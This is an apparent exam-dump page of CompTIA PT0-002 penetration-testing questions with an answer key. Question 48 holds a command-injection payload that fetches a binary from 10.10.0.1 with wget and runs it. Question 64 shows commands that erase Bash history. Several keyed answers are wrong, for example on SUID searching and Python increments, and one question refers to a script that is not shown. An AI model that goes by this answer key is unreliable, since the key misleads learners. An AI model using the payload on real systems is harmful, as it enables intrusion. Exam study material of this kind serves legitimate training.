[Jan-2022] PT0-002 Dumps are Available for Instant Access using Dumps4PDF
PT0-002 Dumps 2022 - New CompTIA PT0-002 Exam Questions
NEW QUESTION 47
A penetration tester is preparing to perform activities for a client that requires minimal disruption to company operations. Which of the following are considered passive reconnaissance tools? (Choose two.)
- A. Nikto
- B. Shodan
- C. Retina
- D. Wireshark
- E. Nessus
- F. Burp Suite
Answer: B,D
NEW QUESTION 48
A penetration tester was able to gain access to a system using an exploit. The following is a snippet of the code that was utilized:
exploit = "POST "
exploit += "/cgi-bin/index.cgi?action=login&Path=%27%0A/bin/sh${IFS} -
c${IFS}'cd${IFS}/tmp;${IFS}wget${IFS}http://10.10.0.1/apache;${IFS}chmod${IFS}777${IFS}apache;${IFS}./apache'%0A%27&loginUser=a&Pwd=a" exploit += "HTTP/1.1" Which of the following commands should the penetration tester run post-engagement?
- A. chmod 600 /tmp/apache
- B. taskkill /IM "apache" /F
- C. rm -rf /tmp/apache
- D. grep -v apache ~/.bash_history > ~/.bash_history
Answer: C
NEW QUESTION 49
A company is concerned that its cloud service provider is not adequately protecting the VMs housing its software development. The VMs are housed in a datacenter with other companies sharing physical resources. Which of the following attack types is MOST concerning to the company?
- A. Data flooding
- B. Session riding
- C. Side channel
- D. Cybersquatting
Answer: B
NEW QUESTION 50
Which of the following are the MOST important items to include in the final report for a penetration test? (Choose two.)
- A. The network location of the vulnerable device
- B. The client acceptance form
- C. The name of the person who found the flaw
- D. The vulnerability identifier
- E. The CVSS score of the finding
- F. The tool used to find the issue
Answer: D,F
NEW QUESTION 51
A penetration tester is testing a web application that is hosted by a public cloud provider. The tester is able to query the provider's metadata and get the credentials used by the instance to authenticate itself. Which of the following vulnerabilities has the tester exploited?
- A. Local file inclusion
- B. Cross-site request forgery
- C. Remote file inclusion
- D. Server-side request forgery
Answer: D
NEW QUESTION 52
An assessment has been completed, and all reports and evidence have been turned over to the client. Which of the following should be done NEXT to ensure the confidentiality of the client's information?
- A. Encrypt and store any client information for future analysis
- B. Report any findings to regulatory oversight groups
- C. Publish the findings after the client reviews the report
- D. Follow the established data retention and destruction process
Answer: A
NEW QUESTION 53
Which of the following protocols or technologies would provide in-transit confidentiality protection for emailing the final security assessment report?
- A. S/MIME
- B. FTPS
- C. DNSSEC
- D. AS2
Answer: A
NEW QUESTION 54
A penetration tester was conducting a penetration test and discovered the network traffic was no longer reaching the client's IP address. The tester later discovered the SOC had used sinkholing on the penetration tester's IP address. Which of the following BEST describes what happened?
- A. The planning process failed to ensure all teams were notified
- B. The penetration tester had incorrect contact information
- C. The penetration tester was testing the wrong assets
- D. The client was not ready for the assessment to start
Answer: A
NEW QUESTION 55
A red-team tester has been contracted to emulate the threat posed by a malicious insider on a company's network, with the constrained objective of gaining access to sensitive personnel files. During the assessment, the red-team tester identifies an artifact indicating possible prior compromise within the target environment.
Which of the following actions should the tester take?
- A. Create a detailed document of findings before continuing with the assessment.
- B. Halt the assessment and follow the reporting procedures as outlined in the contract.
- C. Perform forensic analysis to isolate the means of compromise and determine attribution.
- D. Incorporate the newly identified method of compromise into the red team's approach.
Answer: A
NEW QUESTION 56
A client wants a security assessment company to perform a penetration test against its hot site. The purpose of the test is to determine the effectiveness of the defenses that protect against disruptions to business continuity. Which of the following is the MOST important action to take before starting this type of assessment?
- A. Determine if the failover environment relies on resources not owned by the client.
- B. Verify the client has granted network access to the hot site.
- C. Ensure the client has signed the SOW.
- D. Establish communication and escalation procedures with the client.
Answer: A
NEW QUESTION 57
The results of an Nmap scan are as follows:
Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-24 01:10 EST
Nmap scan report for ( 10.2.1.22 )
Host is up (0.0102s latency).
Not shown: 998 filtered ports
Port State Service
80/tcp open http
|_http-title: 80F 22% RH 1009.1MB (text/html)
|_http-slowloris-check:
| VULNERABLE:
| Slowloris DoS Attack
| <..>
Device type: bridge|general purpose
Running (JUST GUESSING) : QEMU (95%)
OS CPE: cpe:/a:qemu:qemu
No exact OS matches found for host (test conditions non-ideal).
OS detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 107.45 seconds
Which of the following device types will MOST likely have a similar response? (Choose two.)
- A. Print queue
- B. Active Directory domain controller
- C. Exposed RDP
- D. IoT/embedded device
- E. Public-facing web server
- F. Network device
Answer: E,F
NEW QUESTION 58
A company recruited a penetration tester to configure wireless IDS over the network. Which of the following tools would BEST test the effectiveness of the wireless IDS solutions?
- A. Aircrack-ng
- B. Wireshark
- C. Kismet
- D. Wifite
Answer: A
NEW QUESTION 59
A company is concerned that its cloud VM is vulnerable to a cyberattack and proprietary data may be stolen. A penetration tester determines a vulnerability does exist and exploits the vulnerability by adding a fake VM instance to the IaaS component of the client's VM. Which of the following cloud attacks did the penetration tester MOST likely implement?
- A. Credential harvesting
- B. Malware injection
- C. Cross-site scripting
- D. Direct-to-origin
Answer: D
NEW QUESTION 60
A penetration tester wrote the following script to be used in one engagement:
Which of the following actions will this script perform?
- A. Create an encrypted tunnel.
- B. Listen for a reverse shell.
- C. Look for open ports.
- D. Attempt to flood open ports.
Answer: C
NEW QUESTION 61
A software development team is concerned that a new product's 64-bit Windows binaries can be deconstructed to the underlying code. Which of the following tools can a penetration tester utilize to help the team gauge what an attacker might see in the binaries?
- A. GDB
- B. Immunity Debugger
- C. OllyDbg
- D. Drozer
Answer: C
NEW QUESTION 62
In an unprotected network file repository, a penetration tester discovers a text file containing usernames and passwords in cleartext and a spreadsheet containing data for 50 employees, including full names, roles, and serial numbers. The tester realizes some of the passwords in the text file follow the format: <name- serial_number>. Which of the following would be the best action for the tester to take NEXT with this information?
- A. Create a custom password dictionary as preparation for password spray testing.
- B. Document the unprotected file repository as a finding in the penetration-testing report.
- C. Recommend configuring password complexity rules in all the systems and applications.
- D. Recommend using a password manage/vault instead of text files to store passwords securely.
Answer: B
NEW QUESTION 63
A penetration tester runs the following command on a system:
find / -user root -perm -4000 -print 2>/dev/null
Which of the following is the tester trying to accomplish?
- A. Set the SGID on all files in the / directory
- B. Find files with the SUID bit set
- C. Find the /root directory on the system
- D. Find files that were created during exploitation and move them to /dev/null
Answer: D
NEW QUESTION 64
A penetration tester gains access to a system and establishes persistence, and then runs the following commands:
cat /dev/null > temp
touch -r .bash_history temp
mv temp .bash_history
Which of the following actions is the tester MOST likely performing?
- A. Covering tracks by clearing the Bash history
- B. Making decoy files on the system to confuse incident responders
- C. Redirecting Bash history to /dev/null
- D. Making a copy of the user's Bash history for further enumeration
Answer: A
NEW QUESTION 65
A penetration tester is working on a scoping document with a new client. The methodology the client uses includes the following:
Pre-engagement interaction (scoping and ROE)
Intelligence gathering (reconnaissance)
Threat modeling
Vulnerability analysis
Exploitation and post exploitation
Reporting
Which of the following methodologies does the client use?
- A. PTES technical guidelines
- B. OWASP Web Security Testing Guide
- C. NIST SP 800-115
- D. OSSTMM
Answer: A
NEW QUESTION 66
Which of the following expressions in Python increase a variable val by one (Choose two.)
- A. val=(val+1)
- B. ++val
- C. +val
- D. val+=1
- E. val++
- F. val=val++
Answer: B,D
NEW QUESTION 67
......
CompTIA PT0-002 Exam Practice Test Questions: https://www.dumps4pdf.com/PT0-002-valid-braindumps.html
Free PT0-002 Braindumps Download Updated: https://drive.google.com/open?id=1Us956JZvA-J-ATUCBuAZJn8Hw61_u8Yf